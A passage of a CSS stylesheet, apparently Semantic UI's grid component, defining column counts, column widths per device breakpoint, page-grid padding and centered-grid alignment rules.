  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  -webkit-box-pack: inherit;
  -webkit-justify-content: inherit;
  -ms-flex-pack: inherit;
  justify-content: inherit;
  -webkit-box-align: stretch;
  -webkit-align-items: stretch;
  -ms-flex-align: stretch;
  align-items: stretch;
  width: 100% !important;
  padding: 0rem;
  padding-top: 1rem;
  padding-bottom: 1rem;
}

/*-------------------
       Columns
--------------------*/

/* Vertical padding when no rows */

.ui.grid > .column:not(.row) {
  padding-top: 1rem;
  padding-bottom: 1rem;
}

.ui.grid > .row > .column {
  margin-top: 0em;
  margin-bottom: 0em;
}

/*-------------------
      Content
--------------------*/

.ui.grid > .row > img,
.ui.grid > .row > .column > img {
  max-width: 100%;
}

/*-------------------
    Loose Coupling
--------------------*/

/* Collapse Margin on Consecutive Grid */

.ui.grid > .ui.grid:first-child {
  margin-top: 0em;
}

.ui.grid > .ui.grid:last-child {
  margin-bottom: 0em;
}

/* Segment inside Aligned Grid */

.ui.grid .aligned.row > .column > .segment:not(.compact):not(.attached),
.ui.aligned.grid .column > .segment:not(.compact):not(.attached) {
  width: 100%;
}

/* Align Dividers with Gutter */

.ui.grid .row + .ui.divider {
  -webkit-box-flex: 1;
  -webkit-flex-grow: 1;
  -ms-flex-positive: 1;
  flex-grow: 1;
  margin: 1rem 1rem;
}

.ui.grid .column + .ui.vertical.divider {
  height: calc(50% -  1rem );
}

/* Remove Border on Last Horizontal Segment */

.ui.grid > .row > .column:last-child > .horizontal.segment,
.ui.grid > .column:last-child > .horizontal.segment {
  box-shadow: none;
}

/*******************************
           Variations
*******************************/

/*-----------------------
       Page Grid
-------------------------*/

@media only screen and (max-width: 767px) {
  .ui.page.grid {
    width: auto;
    padding-left: 0em;
    padding-right: 0em;
    margin-left: 0em;
    margin-right: 0em;
  }
}

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.page.grid {
    width: auto;
    margin-left: 0em;
    margin-right: 0em;
    padding-left: 2em;
    padding-right: 2em;
  }
}

@media only screen and (min-width: 992px) and (max-width: 1199px) {
  .ui.page.grid {
    width: auto;
    margin-left: 0em;
    margin-right: 0em;
    padding-left: 3%;
    padding-right: 3%;
  }
}

@media only screen and (min-width: 1200px) and (max-width: 1919px) {
  .ui.page.grid {
    width: auto;
    margin-left: 0em;
    margin-right: 0em;
    padding-left: 15%;
    padding-right: 15%;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.page.grid {
    width: auto;
    margin-left: 0em;
    margin-right: 0em;
    padding-left: 23%;
    padding-right: 23%;
  }
}

/*-------------------
     Column Count
--------------------*/

/* Assume full width with one column */

.ui.grid > .column:only-child,
.ui.grid > .row > .column:only-child {
  width: 100%;
}

/* Grid Based */

.ui[class*="one column"].grid > .row > .column,
.ui[class*="one column"].grid > .column:not(.row) {
  width: 100%;
}

.ui[class*="two column"].grid > .row > .column,
.ui[class*="two column"].grid > .column:not(.row) {
  width: 50%;
}

.ui[class*="three column"].grid > .row > .column,
.ui[class*="three column"].grid > .column:not(.row) {
  width: 33.33333333%;
}

.ui[class*="four column"].grid > .row > .column,
.ui[class*="four column"].grid > .column:not(.row) {
  width: 25%;
}

.ui[class*="five column"].grid > .row > .column,
.ui[class*="five column"].grid > .column:not(.row) {
  width: 20%;
}

.ui[class*="six column"].grid > .row > .column,
.ui[class*="six column"].grid > .column:not(.row) {
  width: 16.66666667%;
}

.ui[class*="seven column"].grid > .row > .column,
.ui[class*="seven column"].grid > .column:not(.row) {
  width: 14.28571429%;
}

.ui[class*="eight column"].grid > .row > .column,
.ui[class*="eight column"].grid > .column:not(.row) {
  width: 12.5%;
}

.ui[class*="nine column"].grid > .row > .column,
.ui[class*="nine column"].grid > .column:not(.row) {
  width: 11.11111111%;
}

.ui[class*="ten column"].grid > .row > .column,
.ui[class*="ten column"].grid > .column:not(.row) {
  width: 10%;
}

.ui[class*="eleven column"].grid > .row > .column,
.ui[class*="eleven column"].grid > .column:not(.row) {
  width: 9.09090909%;
}

.ui[class*="twelve column"].grid > .row > .column,
.ui[class*="twelve column"].grid > .column:not(.row) {
  width: 8.33333333%;
}

.ui[class*="thirteen column"].grid > .row > .column,
.ui[class*="thirteen column"].grid > .column:not(.row) {
  width: 7.69230769%;
}

.ui[class*="fourteen column"].grid > .row > .column,
.ui[class*="fourteen column"].grid > .column:not(.row) {
  width: 7.14285714%;
}

.ui[class*="fifteen column"].grid > .row > .column,
.ui[class*="fifteen column"].grid > .column:not(.row) {
  width: 6.66666667%;
}

.ui[class*="sixteen column"].grid > .row > .column,
.ui[class*="sixteen column"].grid > .column:not(.row) {
  width: 6.25%;
}

/* Row Based Overrides */

.ui.grid > [class*="one column"].row > .column {
  width: 100% !important;
}

.ui.grid > [class*="two column"].row > .column {
  width: 50% !important;
}

.ui.grid > [class*="three column"].row > .column {
  width: 33.33333333% !important;
}

.ui.grid > [class*="four column"].row > .column {
  width: 25% !important;
}

.ui.grid > [class*="five column"].row > .column {
  width: 20% !important;
}

.ui.grid > [class*="six column"].row > .column {
  width: 16.66666667% !important;
}

.ui.grid > [class*="seven column"].row > .column {
  width: 14.28571429% !important;
}

.ui.grid > [class*="eight column"].row > .column {
  width: 12.5% !important;
}

.ui.grid > [class*="nine column"].row > .column {
  width: 11.11111111% !important;
}

.ui.grid > [class*="ten column"].row > .column {
  width: 10% !important;
}

.ui.grid > [class*="eleven column"].row > .column {
  width: 9.09090909% !important;
}

.ui.grid > [class*="twelve column"].row > .column {
  width: 8.33333333% !important;
}

.ui.grid > [class*="thirteen column"].row > .column {
  width: 7.69230769% !important;
}

.ui.grid > [class*="fourteen column"].row > .column {
  width: 7.14285714% !important;
}

.ui.grid > [class*="fifteen column"].row > .column {
  width: 6.66666667% !important;
}

.ui.grid > [class*="sixteen column"].row > .column {
  width: 6.25% !important;
}

/* Celled Page */

.ui.celled.page.grid {
  box-shadow: none;
}

/*-------------------
    Column Width
--------------------*/

/* Sizing Combinations */

.ui.grid > .row > [class*="one wide"].column,
.ui.grid > .column.row > [class*="one wide"].column,
.ui.grid > [class*="one wide"].column,
.ui.column.grid > [class*="one wide"].column {
  width: 6.25% !important;
}

.ui.grid > .row > [class*="two wide"].column,
.ui.grid > .column.row > [class*="two wide"].column,
.ui.grid > [class*="two wide"].column,
.ui.column.grid > [class*="two wide"].column {
  width: 12.5% !important;
}

.ui.grid > .row > [class*="three wide"].column,
.ui.grid > .column.row > [class*="three wide"].column,
.ui.grid > [class*="three wide"].column,
.ui.column.grid > [class*="three wide"].column {
  width: 18.75% !important;
}

.ui.grid > .row > [class*="four wide"].column,
.ui.grid > .column.row > [class*="four wide"].column,
.ui.grid > [class*="four wide"].column,
.ui.column.grid > [class*="four wide"].column {
  width: 25% !important;
}

.ui.grid > .row > [class*="five wide"].column,
.ui.grid > .column.row > [class*="five wide"].column,
.ui.grid > [class*="five wide"].column,
.ui.column.grid > [class*="five wide"].column {
  width: 31.25% !important;
}

.ui.grid > .row > [class*="six wide"].column,
.ui.grid > .column.row > [class*="six wide"].column,
.ui.grid > [class*="six wide"].column,
.ui.column.grid > [class*="six wide"].column {
  width: 37.5% !important;
}

.ui.grid > .row > [class*="seven wide"].column,
.ui.grid > .column.row > [class*="seven wide"].column,
.ui.grid > [class*="seven wide"].column,
.ui.column.grid > [class*="seven wide"].column {
  width: 43.75% !important;
}

.ui.grid > .row > [class*="eight wide"].column,
.ui.grid > .column.row > [class*="eight wide"].column,
.ui.grid > [class*="eight wide"].column,
.ui.column.grid > [class*="eight wide"].column {
  width: 50% !important;
}

.ui.grid > .row > [class*="nine wide"].column,
.ui.grid > .column.row > [class*="nine wide"].column,
.ui.grid > [class*="nine wide"].column,
.ui.column.grid > [class*="nine wide"].column {
  width: 56.25% !important;
}

.ui.grid > .row > [class*="ten wide"].column,
.ui.grid > .column.row > [class*="ten wide"].column,
.ui.grid > [class*="ten wide"].column,
.ui.column.grid > [class*="ten wide"].column {
  width: 62.5% !important;
}

.ui.grid > .row > [class*="eleven wide"].column,
.ui.grid > .column.row > [class*="eleven wide"].column,
.ui.grid > [class*="eleven wide"].column,
.ui.column.grid > [class*="eleven wide"].column {
  width: 68.75% !important;
}

.ui.grid > .row > [class*="twelve wide"].column,
.ui.grid > .column.row > [class*="twelve wide"].column,
.ui.grid > [class*="twelve wide"].column,
.ui.column.grid > [class*="twelve wide"].column {
  width: 75% !important;
}

.ui.grid > .row > [class*="thirteen wide"].column,
.ui.grid > .column.row > [class*="thirteen wide"].column,
.ui.grid > [class*="thirteen wide"].column,
.ui.column.grid > [class*="thirteen wide"].column {
  width: 81.25% !important;
}

.ui.grid > .row > [class*="fourteen wide"].column,
.ui.grid > .column.row > [class*="fourteen wide"].column,
.ui.grid > [class*="fourteen wide"].column,
.ui.column.grid > [class*="fourteen wide"].column {
  width: 87.5% !important;
}

.ui.grid > .row > [class*="fifteen wide"].column,
.ui.grid > .column.row > [class*="fifteen wide"].column,
.ui.grid > [class*="fifteen wide"].column,
.ui.column.grid > [class*="fifteen wide"].column {
  width: 93.75% !important;
}

.ui.grid > .row > [class*="sixteen wide"].column,
.ui.grid > .column.row > [class*="sixteen wide"].column,
.ui.grid > [class*="sixteen wide"].column,
.ui.column.grid > [class*="sixteen wide"].column {
  width: 100% !important;
}

/*----------------------
    Width per Device
-----------------------*/

/* Mobile Sizing Combinations */

@media only screen and (min-width: 320px) and (max-width: 767px) {
  .ui.grid > .row > [class*="one wide mobile"].column,
  .ui.grid > .column.row > [class*="one wide mobile"].column,
  .ui.grid > [class*="one wide mobile"].column,
  .ui.column.grid > [class*="one wide mobile"].column {
    width: 6.25% !important;
  }

  .ui.grid > .row > [class*="two wide mobile"].column,
  .ui.grid > .column.row > [class*="two wide mobile"].column,
  .ui.grid > [class*="two wide mobile"].column,
  .ui.column.grid > [class*="two wide mobile"].column {
    width: 12.5% !important;
  }

  .ui.grid > .row > [class*="three wide mobile"].column,
  .ui.grid > .column.row > [class*="three wide mobile"].column,
  .ui.grid > [class*="three wide mobile"].column,
  .ui.column.grid > [class*="three wide mobile"].column {
    width: 18.75% !important;
  }

  .ui.grid > .row > [class*="four wide mobile"].column,
  .ui.grid > .column.row > [class*="four wide mobile"].column,
  .ui.grid > [class*="four wide mobile"].column,
  .ui.column.grid > [class*="four wide mobile"].column {
    width: 25% !important;
  }

  .ui.grid > .row > [class*="five wide mobile"].column,
  .ui.grid > .column.row > [class*="five wide mobile"].column,
  .ui.grid > [class*="five wide mobile"].column,
  .ui.column.grid > [class*="five wide mobile"].column {
    width: 31.25% !important;
  }

  .ui.grid > .row > [class*="six wide mobile"].column,
  .ui.grid > .column.row > [class*="six wide mobile"].column,
  .ui.grid > [class*="six wide mobile"].column,
  .ui.column.grid > [class*="six wide mobile"].column {
    width: 37.5% !important;
  }

  .ui.grid > .row > [class*="seven wide mobile"].column,
  .ui.grid > .column.row > [class*="seven wide mobile"].column,
  .ui.grid > [class*="seven wide mobile"].column,
  .ui.column.grid > [class*="seven wide mobile"].column {
    width: 43.75% !important;
  }

  .ui.grid > .row > [class*="eight wide mobile"].column,
  .ui.grid > .column.row > [class*="eight wide mobile"].column,
  .ui.grid > [class*="eight wide mobile"].column,
  .ui.column.grid > [class*="eight wide mobile"].column {
    width: 50% !important;
  }

  .ui.grid > .row > [class*="nine wide mobile"].column,
  .ui.grid > .column.row > [class*="nine wide mobile"].column,
  .ui.grid > [class*="nine wide mobile"].column,
  .ui.column.grid > [class*="nine wide mobile"].column {
    width: 56.25% !important;
  }

  .ui.grid > .row > [class*="ten wide mobile"].column,
  .ui.grid > .column.row > [class*="ten wide mobile"].column,
  .ui.grid > [class*="ten wide mobile"].column,
  .ui.column.grid > [class*="ten wide mobile"].column {
    width: 62.5% !important;
  }

  .ui.grid > .row > [class*="eleven wide mobile"].column,
  .ui.grid > .column.row > [class*="eleven wide mobile"].column,
  .ui.grid > [class*="eleven wide mobile"].column,
  .ui.column.grid > [class*="eleven wide mobile"].column {
    width: 68.75% !important;
  }

  .ui.grid > .row > [class*="twelve wide mobile"].column,
  .ui.grid > .column.row > [class*="twelve wide mobile"].column,
  .ui.grid > [class*="twelve wide mobile"].column,
  .ui.column.grid > [class*="twelve wide mobile"].column {
    width: 75% !important;
  }

  .ui.grid > .row > [class*="thirteen wide mobile"].column,
  .ui.grid > .column.row > [class*="thirteen wide mobile"].column,
  .ui.grid > [class*="thirteen wide mobile"].column,
  .ui.column.grid > [class*="thirteen wide mobile"].column {
    width: 81.25% !important;
  }

  .ui.grid > .row > [class*="fourteen wide mobile"].column,
  .ui.grid > .column.row > [class*="fourteen wide mobile"].column,
  .ui.grid > [class*="fourteen wide mobile"].column,
  .ui.column.grid > [class*="fourteen wide mobile"].column {
    width: 87.5% !important;
  }

  .ui.grid > .row > [class*="fifteen wide mobile"].column,
  .ui.grid > .column.row > [class*="fifteen wide mobile"].column,
  .ui.grid > [class*="fifteen wide mobile"].column,
  .ui.column.grid > [class*="fifteen wide mobile"].column {
    width: 93.75% !important;
  }

  .ui.grid > .row > [class*="sixteen wide mobile"].column,
  .ui.grid > .column.row > [class*="sixteen wide mobile"].column,
  .ui.grid > [class*="sixteen wide mobile"].column,
  .ui.column.grid > [class*="sixteen wide mobile"].column {
    width: 100% !important;
  }
}

/* Tablet Sizing Combinations */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.grid > .row > [class*="one wide tablet"].column,
  .ui.grid > .column.row > [class*="one wide tablet"].column,
  .ui.grid > [class*="one wide tablet"].column,
  .ui.column.grid > [class*="one wide tablet"].column {
    width: 6.25% !important;
  }

  .ui.grid > .row > [class*="two wide tablet"].column,
  .ui.grid > .column.row > [class*="two wide tablet"].column,
  .ui.grid > [class*="two wide tablet"].column,
  .ui.column.grid > [class*="two wide tablet"].column {
    width: 12.5% !important;
  }

  .ui.grid > .row > [class*="three wide tablet"].column,
  .ui.grid > .column.row > [class*="three wide tablet"].column,
  .ui.grid > [class*="three wide tablet"].column,
  .ui.column.grid > [class*="three wide tablet"].column {
    width: 18.75% !important;
  }

  .ui.grid > .row > [class*="four wide tablet"].column,
  .ui.grid > .column.row > [class*="four wide tablet"].column,
  .ui.grid > [class*="four wide tablet"].column,
  .ui.column.grid > [class*="four wide tablet"].column {
    width: 25% !important;
  }

  .ui.grid > .row > [class*="five wide tablet"].column,
  .ui.grid > .column.row > [class*="five wide tablet"].column,
  .ui.grid > [class*="five wide tablet"].column,
  .ui.column.grid > [class*="five wide tablet"].column {
    width: 31.25% !important;
  }

  .ui.grid > .row > [class*="six wide tablet"].column,
  .ui.grid > .column.row > [class*="six wide tablet"].column,
  .ui.grid > [class*="six wide tablet"].column,
  .ui.column.grid > [class*="six wide tablet"].column {
    width: 37.5% !important;
  }

  .ui.grid > .row > [class*="seven wide tablet"].column,
  .ui.grid > .column.row > [class*="seven wide tablet"].column,
  .ui.grid > [class*="seven wide tablet"].column,
  .ui.column.grid > [class*="seven wide tablet"].column {
    width: 43.75% !important;
  }

  .ui.grid > .row > [class*="eight wide tablet"].column,
  .ui.grid > .column.row > [class*="eight wide tablet"].column,
  .ui.grid > [class*="eight wide tablet"].column,
  .ui.column.grid > [class*="eight wide tablet"].column {
    width: 50% !important;
  }

  .ui.grid > .row > [class*="nine wide tablet"].column,
  .ui.grid > .column.row > [class*="nine wide tablet"].column,
  .ui.grid > [class*="nine wide tablet"].column,
  .ui.column.grid > [class*="nine wide tablet"].column {
    width: 56.25% !important;
  }

  .ui.grid > .row > [class*="ten wide tablet"].column,
  .ui.grid > .column.row > [class*="ten wide tablet"].column,
  .ui.grid > [class*="ten wide tablet"].column,
  .ui.column.grid > [class*="ten wide tablet"].column {
    width: 62.5% !important;
  }

  .ui.grid > .row > [class*="eleven wide tablet"].column,
  .ui.grid > .column.row > [class*="eleven wide tablet"].column,
  .ui.grid > [class*="eleven wide tablet"].column,
  .ui.column.grid > [class*="eleven wide tablet"].column {
    width: 68.75% !important;
  }

  .ui.grid > .row > [class*="twelve wide tablet"].column,
  .ui.grid > .column.row > [class*="twelve wide tablet"].column,
  .ui.grid > [class*="twelve wide tablet"].column,
  .ui.column.grid > [class*="twelve wide tablet"].column {
    width: 75% !important;
  }

  .ui.grid > .row > [class*="thirteen wide tablet"].column,
  .ui.grid > .column.row > [class*="thirteen wide tablet"].column,
  .ui.grid > [class*="thirteen wide tablet"].column,
  .ui.column.grid > [class*="thirteen wide tablet"].column {
    width: 81.25% !important;
  }

  .ui.grid > .row > [class*="fourteen wide tablet"].column,
  .ui.grid > .column.row > [class*="fourteen wide tablet"].column,
  .ui.grid > [class*="fourteen wide tablet"].column,
  .ui.column.grid > [class*="fourteen wide tablet"].column {
    width: 87.5% !important;
  }

  .ui.grid > .row > [class*="fifteen wide tablet"].column,
  .ui.grid > .column.row > [class*="fifteen wide tablet"].column,
  .ui.grid > [class*="fifteen wide tablet"].column,
  .ui.column.grid > [class*="fifteen wide tablet"].column {
    width: 93.75% !important;
  }

  .ui.grid > .row > [class*="sixteen wide tablet"].column,
  .ui.grid > .column.row > [class*="sixteen wide tablet"].column,
  .ui.grid > [class*="sixteen wide tablet"].column,
  .ui.column.grid > [class*="sixteen wide tablet"].column {
    width: 100% !important;
  }
}

/* Computer/Desktop Sizing Combinations */

@media only screen and (min-width: 992px) {
  .ui.grid > .row > [class*="one wide computer"].column,
  .ui.grid > .column.row > [class*="one wide computer"].column,
  .ui.grid > [class*="one wide computer"].column,
  .ui.column.grid > [class*="one wide computer"].column {
    width: 6.25% !important;
  }

  .ui.grid > .row > [class*="two wide computer"].column,
  .ui.grid > .column.row > [class*="two wide computer"].column,
  .ui.grid > [class*="two wide computer"].column,
  .ui.column.grid > [class*="two wide computer"].column {
    width: 12.5% !important;
  }

  .ui.grid > .row > [class*="three wide computer"].column,
  .ui.grid > .column.row > [class*="three wide computer"].column,
  .ui.grid > [class*="three wide computer"].column,
  .ui.column.grid > [class*="three wide computer"].column {
    width: 18.75% !important;
  }

  .ui.grid > .row > [class*="four wide computer"].column,
  .ui.grid > .column.row > [class*="four wide computer"].column,
  .ui.grid > [class*="four wide computer"].column,
  .ui.column.grid > [class*="four wide computer"].column {
    width: 25% !important;
  }

  .ui.grid > .row > [class*="five wide computer"].column,
  .ui.grid > .column.row > [class*="five wide computer"].column,
  .ui.grid > [class*="five wide computer"].column,
  .ui.column.grid > [class*="five wide computer"].column {
    width: 31.25% !important;
  }

  .ui.grid > .row > [class*="six wide computer"].column,
  .ui.grid > .column.row > [class*="six wide computer"].column,
  .ui.grid > [class*="six wide computer"].column,
  .ui.column.grid > [class*="six wide computer"].column {
    width: 37.5% !important;
  }

  .ui.grid > .row > [class*="seven wide computer"].column,
  .ui.grid > .column.row > [class*="seven wide computer"].column,
  .ui.grid > [class*="seven wide computer"].column,
  .ui.column.grid > [class*="seven wide computer"].column {
    width: 43.75% !important;
  }

  .ui.grid > .row > [class*="eight wide computer"].column,
  .ui.grid > .column.row > [class*="eight wide computer"].column,
  .ui.grid > [class*="eight wide computer"].column,
  .ui.column.grid > [class*="eight wide computer"].column {
    width: 50% !important;
  }

  .ui.grid > .row > [class*="nine wide computer"].column,
  .ui.grid > .column.row > [class*="nine wide computer"].column,
  .ui.grid > [class*="nine wide computer"].column,
  .ui.column.grid > [class*="nine wide computer"].column {
    width: 56.25% !important;
  }

  .ui.grid > .row > [class*="ten wide computer"].column,
  .ui.grid > .column.row > [class*="ten wide computer"].column,
  .ui.grid > [class*="ten wide computer"].column,
  .ui.column.grid > [class*="ten wide computer"].column {
    width: 62.5% !important;
  }

  .ui.grid > .row > [class*="eleven wide computer"].column,
  .ui.grid > .column.row > [class*="eleven wide computer"].column,
  .ui.grid > [class*="eleven wide computer"].column,
  .ui.column.grid > [class*="eleven wide computer"].column {
    width: 68.75% !important;
  }

  .ui.grid > .row > [class*="twelve wide computer"].column,
  .ui.grid > .column.row > [class*="twelve wide computer"].column,
  .ui.grid > [class*="twelve wide computer"].column,
  .ui.column.grid > [class*="twelve wide computer"].column {
    width: 75% !important;
  }

  .ui.grid > .row > [class*="thirteen wide computer"].column,
  .ui.grid > .column.row > [class*="thirteen wide computer"].column,
  .ui.grid > [class*="thirteen wide computer"].column,
  .ui.column.grid > [class*="thirteen wide computer"].column {
    width: 81.25% !important;
  }

  .ui.grid > .row > [class*="fourteen wide computer"].column,
  .ui.grid > .column.row > [class*="fourteen wide computer"].column,
  .ui.grid > [class*="fourteen wide computer"].column,
  .ui.column.grid > [class*="fourteen wide computer"].column {
    width: 87.5% !important;
  }

  .ui.grid > .row > [class*="fifteen wide computer"].column,
  .ui.grid > .column.row > [class*="fifteen wide computer"].column,
  .ui.grid > [class*="fifteen wide computer"].column,
  .ui.column.grid > [class*="fifteen wide computer"].column {
    width: 93.75% !important;
  }

  .ui.grid > .row > [class*="sixteen wide computer"].column,
  .ui.grid > .column.row > [class*="sixteen wide computer"].column,
  .ui.grid > [class*="sixteen wide computer"].column,
  .ui.column.grid > [class*="sixteen wide computer"].column {
    width: 100% !important;
  }
}

/* Large Monitor Sizing Combinations */

@media only screen and (min-width: 1200px) and (max-width: 1919px) {
  .ui.grid > .row > [class*="one wide large screen"].column,
  .ui.grid > .column.row > [class*="one wide large screen"].column,
  .ui.grid > [class*="one wide large screen"].column,
  .ui.column.grid > [class*="one wide large screen"].column {
    width: 6.25% !important;
  }

  .ui.grid > .row > [class*="two wide large screen"].column,
  .ui.grid > .column.row > [class*="two wide large screen"].column,
  .ui.grid > [class*="two wide large screen"].column,
  .ui.column.grid > [class*="two wide large screen"].column {
    width: 12.5% !important;
  }

  .ui.grid > .row > [class*="three wide large screen"].column,
  .ui.grid > .column.row > [class*="three wide large screen"].column,
  .ui.grid > [class*="three wide large screen"].column,
  .ui.column.grid > [class*="three wide large screen"].column {
    width: 18.75% !important;
  }

  .ui.grid > .row > [class*="four wide large screen"].column,
  .ui.grid > .column.row > [class*="four wide large screen"].column,
  .ui.grid > [class*="four wide large screen"].column,
  .ui.column.grid > [class*="four wide large screen"].column {
    width: 25% !important;
  }

  .ui.grid > .row > [class*="five wide large screen"].column,
  .ui.grid > .column.row > [class*="five wide large screen"].column,
  .ui.grid > [class*="five wide large screen"].column,
  .ui.column.grid > [class*="five wide large screen"].column {
    width: 31.25% !important;
  }

  .ui.grid > .row > [class*="six wide large screen"].column,
  .ui.grid > .column.row > [class*="six wide large screen"].column,
  .ui.grid > [class*="six wide large screen"].column,
  .ui.column.grid > [class*="six wide large screen"].column {
    width: 37.5% !important;
  }

  .ui.grid > .row > [class*="seven wide large screen"].column,
  .ui.grid > .column.row > [class*="seven wide large screen"].column,
  .ui.grid > [class*="seven wide large screen"].column,
  .ui.column.grid > [class*="seven wide large screen"].column {
    width: 43.75% !important;
  }

  .ui.grid > .row > [class*="eight wide large screen"].column,
  .ui.grid > .column.row > [class*="eight wide large screen"].column,
  .ui.grid > [class*="eight wide large screen"].column,
  .ui.column.grid > [class*="eight wide large screen"].column {
    width: 50% !important;
  }

  .ui.grid > .row > [class*="nine wide large screen"].column,
  .ui.grid > .column.row > [class*="nine wide large screen"].column,
  .ui.grid > [class*="nine wide large screen"].column,
  .ui.column.grid > [class*="nine wide large screen"].column {
    width: 56.25% !important;
  }

  .ui.grid > .row > [class*="ten wide large screen"].column,
  .ui.grid > .column.row > [class*="ten wide large screen"].column,
  .ui.grid > [class*="ten wide large screen"].column,
  .ui.column.grid > [class*="ten wide large screen"].column {
    width: 62.5% !important;
  }

  .ui.grid > .row > [class*="eleven wide large screen"].column,
  .ui.grid > .column.row > [class*="eleven wide large screen"].column,
  .ui.grid > [class*="eleven wide large screen"].column,
  .ui.column.grid > [class*="eleven wide large screen"].column {
    width: 68.75% !important;
  }

  .ui.grid > .row > [class*="twelve wide large screen"].column,
  .ui.grid > .column.row > [class*="twelve wide large screen"].column,
  .ui.grid > [class*="twelve wide large screen"].column,
  .ui.column.grid > [class*="twelve wide large screen"].column {
    width: 75% !important;
  }

  .ui.grid > .row > [class*="thirteen wide large screen"].column,
  .ui.grid > .column.row > [class*="thirteen wide large screen"].column,
  .ui.grid > [class*="thirteen wide large screen"].column,
  .ui.column.grid > [class*="thirteen wide large screen"].column {
    width: 81.25% !important;
  }

  .ui.grid > .row > [class*="fourteen wide large screen"].column,
  .ui.grid > .column.row > [class*="fourteen wide large screen"].column,
  .ui.grid > [class*="fourteen wide large screen"].column,
  .ui.column.grid > [class*="fourteen wide large screen"].column {
    width: 87.5% !important;
  }

  .ui.grid > .row > [class*="fifteen wide large screen"].column,
  .ui.grid > .column.row > [class*="fifteen wide large screen"].column,
  .ui.grid > [class*="fifteen wide large screen"].column,
  .ui.column.grid > [class*="fifteen wide large screen"].column {
    width: 93.75% !important;
  }

  .ui.grid > .row > [class*="sixteen wide large screen"].column,
  .ui.grid > .column.row > [class*="sixteen wide large screen"].column,
  .ui.grid > [class*="sixteen wide large screen"].column,
  .ui.column.grid > [class*="sixteen wide large screen"].column {
    width: 100% !important;
  }
}

/* Widescreen Sizing Combinations */

@media only screen and (min-width: 1920px) {
  .ui.grid > .row > [class*="one wide widescreen"].column,
  .ui.grid > .column.row > [class*="one wide widescreen"].column,
  .ui.grid > [class*="one wide widescreen"].column,
  .ui.column.grid > [class*="one wide widescreen"].column {
    width: 6.25% !important;
  }

  .ui.grid > .row > [class*="two wide widescreen"].column,
  .ui.grid > .column.row > [class*="two wide widescreen"].column,
  .ui.grid > [class*="two wide widescreen"].column,
  .ui.column.grid > [class*="two wide widescreen"].column {
    width: 12.5% !important;
  }

  .ui.grid > .row > [class*="three wide widescreen"].column,
  .ui.grid > .column.row > [class*="three wide widescreen"].column,
  .ui.grid > [class*="three wide widescreen"].column,
  .ui.column.grid > [class*="three wide widescreen"].column {
    width: 18.75% !important;
  }

  .ui.grid > .row > [class*="four wide widescreen"].column,
  .ui.grid > .column.row > [class*="four wide widescreen"].column,
  .ui.grid > [class*="four wide widescreen"].column,
  .ui.column.grid > [class*="four wide widescreen"].column {
    width: 25% !important;
  }

  .ui.grid > .row > [class*="five wide widescreen"].column,
  .ui.grid > .column.row > [class*="five wide widescreen"].column,
  .ui.grid > [class*="five wide widescreen"].column,
  .ui.column.grid > [class*="five wide widescreen"].column {
    width: 31.25% !important;
  }

  .ui.grid > .row > [class*="six wide widescreen"].column,
  .ui.grid > .column.row > [class*="six wide widescreen"].column,
  .ui.grid > [class*="six wide widescreen"].column,
  .ui.column.grid > [class*="six wide widescreen"].column {
    width: 37.5% !important;
  }

  .ui.grid > .row > [class*="seven wide widescreen"].column,
  .ui.grid > .column.row > [class*="seven wide widescreen"].column,
  .ui.grid > [class*="seven wide widescreen"].column,
  .ui.column.grid > [class*="seven wide widescreen"].column {
    width: 43.75% !important;
  }

  .ui.grid > .row > [class*="eight wide widescreen"].column,
  .ui.grid > .column.row > [class*="eight wide widescreen"].column,
  .ui.grid > [class*="eight wide widescreen"].column,
  .ui.column.grid > [class*="eight wide widescreen"].column {
    width: 50% !important;
  }

  .ui.grid > .row > [class*="nine wide widescreen"].column,
  .ui.grid > .column.row > [class*="nine wide widescreen"].column,
  .ui.grid > [class*="nine wide widescreen"].column,
  .ui.column.grid > [class*="nine wide widescreen"].column {
    width: 56.25% !important;
  }

  .ui.grid > .row > [class*="ten wide widescreen"].column,
  .ui.grid > .column.row > [class*="ten wide widescreen"].column,
  .ui.grid > [class*="ten wide widescreen"].column,
  .ui.column.grid > [class*="ten wide widescreen"].column {
    width: 62.5% !important;
  }

  .ui.grid > .row > [class*="eleven wide widescreen"].column,
  .ui.grid > .column.row > [class*="eleven wide widescreen"].column,
  .ui.grid > [class*="eleven wide widescreen"].column,
  .ui.column.grid > [class*="eleven wide widescreen"].column {
    width: 68.75% !important;
  }

  .ui.grid > .row > [class*="twelve wide widescreen"].column,
  .ui.grid > .column.row > [class*="twelve wide widescreen"].column,
  .ui.grid > [class*="twelve wide widescreen"].column,
  .ui.column.grid > [class*="twelve wide widescreen"].column {
    width: 75% !important;
  }

  .ui.grid > .row > [class*="thirteen wide widescreen"].column,
  .ui.grid > .column.row > [class*="thirteen wide widescreen"].column,
  .ui.grid > [class*="thirteen wide widescreen"].column,
  .ui.column.grid > [class*="thirteen wide widescreen"].column {
    width: 81.25% !important;
  }

  .ui.grid > .row > [class*="fourteen wide widescreen"].column,
  .ui.grid > .column.row > [class*="fourteen wide widescreen"].column,
  .ui.grid > [class*="fourteen wide widescreen"].column,
  .ui.column.grid > [class*="fourteen wide widescreen"].column {
    width: 87.5% !important;
  }

  .ui.grid > .row > [class*="fifteen wide widescreen"].column,
  .ui.grid > .column.row > [class*="fifteen wide widescreen"].column,
  .ui.grid > [class*="fifteen wide widescreen"].column,
  .ui.column.grid > [class*="fifteen wide widescreen"].column {
    width: 93.75% !important;
  }

  .ui.grid > .row > [class*="sixteen wide widescreen"].column,
  .ui.grid > .column.row > [class*="sixteen wide widescreen"].column,
  .ui.grid > [class*="sixteen wide widescreen"].column,
  .ui.column.grid > [class*="sixteen wide widescreen"].column {
    width: 100% !important;
  }
}

/*----------------------
        Centered
-----------------------*/

.ui.centered.grid,
.ui.centered.grid > .row,
.ui.grid > .centered.row {
  text-align: center;
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
}

.ui.centered.grid > .column:not(.aligned):not(.justified):not(.row),
.ui.centered.grid > .row > .column:not(.aligned):not(.justified),
.ui.grid .centered.row > .column:not(.aligned):not(.justified) {
  text-align: left;
}

.ui.grid > .centered.column,
.ui.grid > .row > .centered.column {
  display: block;
  margin-left: auto;
  margin-right: auto;
}

